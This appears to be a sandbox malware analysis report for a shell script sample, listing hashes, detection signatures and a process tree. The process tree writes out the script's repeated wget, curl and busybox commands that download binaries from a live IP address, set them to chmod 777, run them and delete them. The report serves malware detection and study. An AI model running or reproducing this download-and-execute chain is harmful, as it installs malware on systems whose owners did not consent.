e329bfb94581ca68903cc299500255516655f8e868f49a0ff27e47e9f55ad6aa

Analysis

max time kernel
67s
max time network
69s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
28/10/2024, 03:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e329bfb94581ca68903cc299500255516655f8e868f49a0ff27e47e9f55ad6aa.sh
Size 10KB
Sample241028-d4e96szenk
SHA256 e329bfb94581ca68903cc299500255516655f8e868f49a0ff27e47e9f55ad6aa
MD5 f1355bcf61566b8e884726b7afa77f2d
SHA1 ad708c314476785e25d5f6f0ae6f3197e3d9f904
SHA512 f0d0c07f3e32c570f67cb4e05b10b8d02429b384779c6d0dcd5963022b236efd248c606fe6e1e43e974fb986804a039df540bbf1a38198dfc4682c296198178e
SSDEEP 96:Z00fw0gjGqoiYoTProP3uZjsH4wDyuv/zQddPKQXhwXhUXh+WXhyXhCXhnsGK/zj:8+cIl/zQddPK0UgHqae/zQddrUgHqaVM
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
803	chmod
815	chmod
845	chmod
860	chmod
884	chmod
908	chmod
740	chmod
809	chmod
896	chmod
974	chmod
734	chmod
748	chmod
968	chmod
866	chmod
890	chmod
920	chmod
956	chmod
926	chmod
950	chmod
872	chmod
902	chmod
932	chmod
938	chmod
944	chmod
775	chmod
914	chmod
878	chmod
962	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1	curl
File opened for modification	/tmp/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT	curl
File opened for modification	/tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6	curl
File opened for modification	/tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr	curl
File opened for modification	/tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf	curl
File opened for modification	/tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v	curl
File opened for modification	/tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v	curl
File opened for modification	/tmp/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub	curl
File opened for modification	/tmp/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub	curl
File opened for modification	/tmp/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5	curl
File opened for modification	/tmp/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT	curl
File opened for modification	/tmp/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M	curl
File opened for modification	/tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50	curl
File opened for modification	/tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA	curl
File opened for modification	/tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50	curl
File opened for modification	/tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf	curl
File opened for modification	/tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF	curl
File opened for modification	/tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1	curl
File opened for modification	/tmp/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M	curl
File opened for modification	/tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead	curl
File opened for modification	/tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF	curl
File opened for modification	/tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ	curl
File opened for modification	/tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr	curl
File opened for modification	/tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6	curl
File opened for modification	/tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA	curl
File opened for modification	/tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead	curl
File opened for modification	/tmp/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5	curl
File opened for modification	/tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ	curl

/tmp/e329bfb94581ca68903cc299500255516655f8e868f49a0ff27e47e9f55ad6aa.sh
/tmp/e329bfb94581ca68903cc299500255516655f8e868f49a0ff27e47e9f55ad6aa.sh
1⤵
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:712
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:732
- /bin/chmod
  chmod 777 XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  ./XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:736
- /usr/bin/wget
  wget http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:739
- /bin/chmod
  chmod 777 jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  ./jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:745
- /bin/chmod
  chmod 777 ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  ./ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:752
- /usr/bin/wget
  wget http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:769
- /bin/chmod
  chmod 777 qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  ./qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - Executes dropped EXE
  PID:777
- /bin/rm
  rm qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:780
- /usr/bin/wget
  wget http://87.120.84.230/bins/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  PID:800
- /bin/chmod
  chmod 777 Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  ./Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  PID:805
- /usr/bin/wget
  wget http://87.120.84.230/bins/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  PID:808
- /bin/chmod
  chmod 777 lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  ./lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  PID:811
- /usr/bin/wget
  wget http://87.120.84.230/bins/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  PID:814
- /bin/chmod
  chmod 777 XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  ./XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  PID:821
- /usr/bin/wget
  wget http://87.120.84.230/bins/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  PID:840
- /bin/chmod
  chmod 777 jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  ./jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  PID:849
- /usr/bin/wget
  wget http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:850
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:859
- /bin/chmod
  chmod 777 OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  ./OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:865
- /bin/chmod
  chmod 777 B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  ./B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:871
- /bin/chmod
  chmod 777 IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  ./IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:877
- /bin/chmod
  chmod 777 E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  ./E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:880
- /usr/bin/wget
  wget http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:883
- /bin/chmod
  chmod 777 F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  ./F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:889
- /bin/chmod
  chmod 777 ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  ./ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:895
- /bin/chmod
  chmod 777 IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  ./IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
  2⤵
  PID:898
- /usr/bin/wget
  wget http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:901
- /bin/chmod
  chmod 777 E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  ./E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:907
- /bin/chmod
  chmod 777 OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  ./OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm OESnKxfsceE83uK3qyhjMDf2qeykBknq50
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:913
- /bin/chmod
  chmod 777 B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  ./B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:919
- /bin/chmod
  chmod 777 F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  ./F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:925
- /bin/chmod
  chmod 777 ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  ./ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:931
- /bin/chmod
  chmod 777 ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  ./ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm ekoIDag2IrendezgvRAX8H4MvHggSiH31v
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:937
- /bin/chmod
  chmod 777 qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  ./qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:943
- /bin/chmod
  chmod 777 XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  ./XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:949
- /bin/chmod
  chmod 777 jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  ./jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.84.230/bins/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  PID:955
- /bin/chmod
  chmod 777 XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  ./XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  PID:958
